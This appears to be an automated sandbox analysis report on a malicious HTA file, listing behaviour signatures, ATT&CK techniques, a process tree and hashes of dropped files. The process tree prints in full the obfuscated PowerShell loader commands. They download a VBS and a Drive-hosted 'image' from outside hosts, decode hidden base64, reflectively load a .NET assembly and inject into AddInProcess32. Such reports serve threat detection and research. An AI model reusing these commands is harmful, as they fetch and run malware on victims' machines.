b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
24-10-2024 05:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

nicegirlwithnewthingswhichevennobodknowthatkissingme.hta
Size

130KB
MD5

401fa9878282b2404925d1ac2599b7c0
SHA1

876d5ea4b89ef48cd614fc098154e3e2caa176f3
SHA256

b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948
SHA512

45e2de1e196ae5339df31581bd8e98af094ab461f80269a815f369e51e131a885bb9745c60375aa4c95db75e82d58f799c5ae480ac2aa0b8387baa2aea2d0f63
SSDEEP

96:Eam73bDpMZMY9pMZMUyOX/DJfqMtJNpMZMVx7T:Ea23bDCuY9Cuitht/CuV9T

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

PoWErSHEll.EXEpowershell.exe

flow pid process

4 2160 PoWErSHEll.EXE
6 2860 powershell.exe
8 2860 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

576 powershell.exe
2860 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

PoWErSHEll.EXEpowershell.exe

pid process

2160 PoWErSHEll.EXE
2704 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

5 drive.google.com
6 drive.google.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
4	2160	PoWErSHEll.EXE
6	2860	powershell.exe
8	2860	powershell.exe

pid	process
576	powershell.exe
2860	powershell.exe

pid	process
2160	PoWErSHEll.EXE
2704	powershell.exe

flow	ioc
5	drive.google.com
6	drive.google.com

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

csc.execvtres.exeWScript.exepowershell.exepowershell.exemshta.exePoWErSHEll.EXEpowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWErSHEll.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

PoWErSHEll.EXEpowershell.exepowershell.exepowershell.exe

pid process

2160 PoWErSHEll.EXE
2704 powershell.exe
2160 PoWErSHEll.EXE
2160 PoWErSHEll.EXE
576 powershell.exe
2860 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2160	PoWErSHEll.EXE
2704	powershell.exe
2160	PoWErSHEll.EXE
2160	PoWErSHEll.EXE
576	powershell.exe
2860	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

PoWErSHEll.EXEpowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2160	PoWErSHEll.EXE
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	576	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

mshta.exePoWErSHEll.EXEcsc.exeWScript.exepowershell.exe

description	pid	process	target process
PID 2544 wrote to memory of 2160	2544	mshta.exe	PoWErSHEll.EXE
PID 2544 wrote to memory of 2160	2544	mshta.exe	PoWErSHEll.EXE
PID 2544 wrote to memory of 2160	2544	mshta.exe	PoWErSHEll.EXE
PID 2544 wrote to memory of 2160	2544	mshta.exe	PoWErSHEll.EXE
PID 2160 wrote to memory of 2704	2160	PoWErSHEll.EXE	powershell.exe
PID 2160 wrote to memory of 2704	2160	PoWErSHEll.EXE	powershell.exe
PID 2160 wrote to memory of 2704	2160	PoWErSHEll.EXE	powershell.exe
PID 2160 wrote to memory of 2704	2160	PoWErSHEll.EXE	powershell.exe
PID 2160 wrote to memory of 2876	2160	PoWErSHEll.EXE	csc.exe
PID 2160 wrote to memory of 2876	2160	PoWErSHEll.EXE	csc.exe
PID 2160 wrote to memory of 2876	2160	PoWErSHEll.EXE	csc.exe
PID 2160 wrote to memory of 2876	2160	PoWErSHEll.EXE	csc.exe
PID 2876 wrote to memory of 2736	2876	csc.exe	cvtres.exe
PID 2876 wrote to memory of 2736	2876	csc.exe	cvtres.exe
PID 2876 wrote to memory of 2736	2876	csc.exe	cvtres.exe
PID 2876 wrote to memory of 2736	2876	csc.exe	cvtres.exe
PID 2160 wrote to memory of 2664	2160	PoWErSHEll.EXE	WScript.exe
PID 2160 wrote to memory of 2664	2160	PoWErSHEll.EXE	WScript.exe
PID 2160 wrote to memory of 2664	2160	PoWErSHEll.EXE	WScript.exe
PID 2160 wrote to memory of 2664	2160	PoWErSHEll.EXE	WScript.exe
PID 2664 wrote to memory of 576	2664	WScript.exe	powershell.exe
PID 2664 wrote to memory of 576	2664	WScript.exe	powershell.exe
PID 2664 wrote to memory of 576	2664	WScript.exe	powershell.exe
PID 2664 wrote to memory of 576	2664	WScript.exe	powershell.exe
PID 576 wrote to memory of 2860	576	powershell.exe	powershell.exe
PID 576 wrote to memory of 2860	576	powershell.exe	powershell.exe
PID 576 wrote to memory of 2860	576	powershell.exe	powershell.exe
PID 576 wrote to memory of 2860	576	powershell.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicegirlwithnewthingswhichevennobodknowthatkissingme.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SysWOW64\WInDOwsPOweRSheLL\V1.0\PoWErSHEll.EXE
  "C:\Windows\SysTeM32\WInDOwsPOweRSheLL\V1.0\PoWErSHEll.EXE" "powErShEll -ex Bypass -Nop -w 1 -c deVICECrEdenTIaLDePlOYMENT.exe ; Iex($(iex('[sYStEm.TexT.eNcODInG]'+[chAr]58+[ChaR]0x3A+'utF8.getsTRinG([systEM.ConvERt]'+[cHAr]58+[ChAr]58+'FrombASE64sTrInG('+[ChaR]0x22+'JGI0bEg4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJFcmRlZklOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpsR2dqcHBFLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRFlCbFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwSXlHVnUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgayxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9JVGloSlJ5WSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJTIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWXdvQmNHT2duaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGI0bEg4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc2LjE0MS8zNS9lZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnRJRiIsIiRFTnY6QVBQREFUQVxlZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnZiUyIsMCwwKTtzdGFSVC1zbEVlUCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxlZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnZiUyI='+[CHAR]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex Bypass -Nop -w 1 -c deVICECrEdenTIaLDePlOYMENT.exe
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\-e1ixlpf.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9DE6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9DE5.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2736
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\educationalthingswithgreatattitudeonhere.vbS"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTnY6Q29tU3BlQ1s0LDE1LDI1XS1Kb0luJycpKCAoJzBRYWltYWdlVXJsID0gZjdWaHQnKyd0cHM6Ly8nKydkcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dScrJ3IgZjdWOzBRYXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7MFFhaW1hZ2VCeXRlcyA9IDBRYXdlYkNsaWVudC5Eb3dubG9hZERhdGEoMFFhaW1hZ2VVcmwnKycpOycrJzBRYWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDBRYWltYWdlQnl0ZXMpOzBRYXN0YXJ0RmxhZyA9IGY3Vjw8QkFTRTY0X1NUQVJUPj5mN1Y7MFFhZW5kRmxhZyA9IGY3Vjw8QkFTRTY0X0VORD4+ZjdWOycrJzBRYXN0YXJ0SW5kZXggPSAwUWFpbWFnJysnZVRleHQuSW5kZXhPZigwUWFzdGFyJysndEZsYWcpOzBRYWVuZEluZGV4ID0nKycgMFFhaW1hZ2VUZXh0LkluZGV4T2YoMFFhZW5kRmxhZyk7MFFhc3RhcnRJbmRleCAtZ2UgMCAtJysnYW5kIDBRYWVuZEluZGV4IC1ndCAwUWFzdGFydEluZGV4OzBRYXN0YXJ0SW5kZXggKz0gMFFhc3RhcnRGbGFnLkxlbmd0aDswUWFiJysnYXNlNjRMZW5ndGggJysnPSAwUWFlbmRJbmRleCAtIDBRYXN0YXJ0SW5kZXg7MCcrJ1FhYmFzZTY0Q29tbWFuZCA9IDBRYWltYWdlVGV4dC5TdWJzdHJpbmcoMFFhc3RhcnRJbmRleCwgMFFhYmFzZScrJzY0TGVuZ3RoKTswUWFiYXNlNjRSZXZlcnNlJysnZCA9IC1qb2luICgwUWFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgWWJJIEZvckVhY2gtT2JqZWN0IHsgMFFhXyB9KVstMS4uLSgwUWFiYXNlNjRDb21tYScrJ25kLkxlbmd0aCldOzBRYWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoMFFhYmFzZTY0UmV2ZXJzZWQpOzBRYWxvYWRlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCgwUWFjb21tYW5kQnl0ZXMpOzBRYXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoZjdWVkFJZjdWKTswUWF2YWlNZXRob2QuSW52b2tlKDBRYW51bGwsIEAoZjdWdHh0LlJSRVBMTVMvNTMvMTQxLjY3MS4zLjI5MS8vOnB0dGhmN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGYnKyc3VkFkZEluUHJvY2VzczMyZjdWLCBmN1ZkZXNhdCcrJ2l2YWRvZjdWLCBmN1ZkZXMnKydhdGl2YWRvZjdWLGY3VmRlc2F0aXZhZG9mN1YsJysnZjdWZGVzYXRpdmFkb2Y3VixmN1ZkZXNhdGknKyd2YWRvZjdWJysnLGY3VmRlc2F0JysnaXZhZG9mN1YsZjdWZGVzYXRpdmFkb2Y3VixmN1YxZjdWLGY3VmRlc2F0aXZhZG9mN1YpKTsnKS5SZXBsQUNFKChbY2hBcl04OStbY2hBcl05OCtbY2hBcl03MyksJ3wnKS5SZXBsQUNFKCdmN1YnLFtTdHJJTkddW2NoQXJdMzkpLlJlcGxBQ0UoKFtjaEFyXTQ4K1tjaEFyXTgxK1tjaEFyXTk3KSwnJCcpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:576
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENv:ComSpeC[4,15,25]-JoIn'')( ('0QaimageUrl = f7Vht'+'tps://'+'drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwu'+'r f7V;0QawebClient = New-Object System.Net.WebClient;0QaimageBytes = 0QawebClient.DownloadData(0QaimageUrl'+');'+'0QaimageText = [System.Text.Encoding]::UTF8.GetString(0QaimageBytes);0QastartFlag = f7V<<BASE64_START>>f7V;0QaendFlag = f7V<<BASE64_END>>f7V;'+'0QastartIndex = 0Qaimag'+'eText.IndexOf(0Qastar'+'tFlag);0QaendIndex ='+' 0QaimageText.IndexOf(0QaendFlag);0QastartIndex -ge 0 -'+'and 0QaendIndex -gt 0QastartIndex;0QastartIndex += 0QastartFlag.Length;0Qab'+'ase64Length '+'= 0QaendIndex - 0QastartIndex;0'+'Qabase64Command = 0QaimageText.Substring(0QastartIndex, 0Qabase'+'64Length);0Qabase64Reverse'+'d = -join (0Qabase64Command.ToCharArray() YbI ForEach-Object { 0Qa_ })[-1..-(0Qabase64Comma'+'nd.Length)];0QacommandBytes = [System.Convert]::FromBase64String(0Qabase64Reversed);0QaloadedAs'+'sembly = [System.Reflection.Assembly]::'+'Load(0QacommandBytes);0QavaiMethod = [dnlib.IO.Home].GetMethod(f7VVAIf7V);0QavaiMethod.Invoke(0Qanull, @(f7Vtxt.RREPLMS/53/141.671.3.291//:ptthf7V, f7Vdesativadof7V, f7Vdesativadof7V, f7Vdesativadof7V, f'+'7VAddInProcess32f7V, f7Vdesat'+'ivadof7V, f7Vdes'+'ativadof7V,f7Vdesativadof7V,'+'f7Vdesativadof7V,f7Vdesati'+'vadof7V'+',f7Vdesat'+'ivadof7V,f7Vdesativadof7V,f7V1f7V,f7Vdesativadof7V));').ReplACE(([chAr]89+[chAr]98+[chAr]73),'|').ReplACE('f7V',[StrING][chAr]39).ReplACE(([chAr]48+[chAr]81+[chAr]97),'$') )"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\-e1ixlpf.dll

Filesize
3KB

MD5
56263e789f312248de71368ff6f37565

SHA1
e5ddd6286b6adae6d1a97a65b27e071a51ddbb08

SHA256
71e3e899dfcc1db199249ff7429d3bf313ac4c894618d0eef0244abb04a27d93

SHA512
559cb3c6f2da847c76181bc1fd5f0dfd9614f35e40a6704451829f09826c9f9e04750effb2837061c5495012c5cb1d80fb5a1142779d71059ea6057c6322e59a

Download Submit
C:\Users\Admin\AppData\Local\Temp\-e1ixlpf.pdb

Filesize
7KB

MD5
1982da21e8d63075c0d472ff98f65690

SHA1
526dafdff0ad94a27b1c2c02e97e5208cf33ca69

SHA256
bd9a37b7ab079e5ba77b5187b516cefb118be12ef8054b3ac365cf15fe85a557

SHA512
5fdb04bb70a6d96db0802e3a5788305f878d083da0d84d3aabff5f3aead90307c7d49e8c0b9745d06cd0a1e02645645d97314b983ccdf868a479ef8eb0dc8223

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9DE6.tmp

Filesize
1KB

MD5
48027760afd44b75f6d55913bf51c221

SHA1
a9bb1e5fbd3a58967448744abe7d8203d70b57f7

SHA256
03e2041fa15852e554a72feeea74d8ac90ddb7441bd3bbf3fc2489d5ae054092

SHA512
fb6b9de79a2810fce300cce0719bfa30187eb1f6ce1bbb50759cee6c679dd60e4fdaf5391c0d1607100c7ce12bf2a562de54b1b32444aeeb2341494b54c09b55

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ed731478076cd6f4614e64fed6de3d34

SHA1
5acf87a4f814223501e851a94378070250730961

SHA256
5ee2f825530e9d29abbdc602d0df5c19a80de8b03152260b78ad25c752d1b932

SHA512
dbe5fbe51ab647141fa98facf780c9041225be929067741a1a08795b38de5d9e6932f28eddc5aadfe715ef2e3e20cf84d7b23062bc7e9e298c173098745bbf13

Download Submit
C:\Users\Admin\AppData\Roaming\educationalthingswithgreatattitudeonhere.vbS

Filesize
137KB

MD5
fe9e18e3366ca7ac8c21eb1ce0631d9c

SHA1
51bc2bc37e87e2d64129cad63df697a68ee3b9d6

SHA256
01c6399fc31b4cbfcf8e851ff3ff433d36b46da2577f9230b9c78b2cbf790912

SHA512
7dca4fb22f5f1a6e08f6c993a7b159863b8b1a8898429aed78582641bc2340ce2fbe3e92f6ec5f9d6ec5c74a14009f77ce87602bea7ba59c4ea1e092d5a9f8f7

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\-e1ixlpf.0.cs

Filesize
471B

MD5
465b774d7a1a641088ff65cb56d1755b

SHA1
d65ff3c3ecd67b7da02d199d649abb75a8c64879

SHA256
737ceb1cff20744c7d2eb5139717221cf2c96f10d05d5fffd3d916fd69a6d025

SHA512
665f11dfa5a6a79b89c49724ad1943baea2ea54cb204ef3712abb948218064410b42ee96b29f067fc635bc71ec85295603567bf2e9121d381fa2dfbc6c07ea68

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\-e1ixlpf.cmdline

Filesize
309B

MD5
71572cdb834ce78a4f48b7e68f0335f8

SHA1
ac78c7a8219e6091ea6a2658065dcd1f9ee9543f

SHA256
5b4792be60a64d5aa563a5f9796b051fc3eca11112e1668733ffb23991be1fb1

SHA512
858cb68839540eba6ac44ac7b7f8f68264c72e39258a848b9702f9840026390b60b2d35be4721926eb12ac961b1c0ad7a97c7c69203a84400970f92f465b1888

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC9DE5.tmp

Filesize
652B

MD5
96ce271a7d5a0e58351025f089f864db

SHA1
a5010a28455453b423480e1a51e4d5a9a1503fa4

SHA256
febd96d7d555a900c51438e50cf63326bff0b1d94c0bfb444dd5047c90aa3059

SHA512
853a8d5ca2ffb270104ee4485aa87b2ec44cd9d361b5405bbff7b9b50976af3517b71e40422d6e4434ada45b6f6ec593bf99ec02045b3552d04b5f18e5e45f82

Download Submit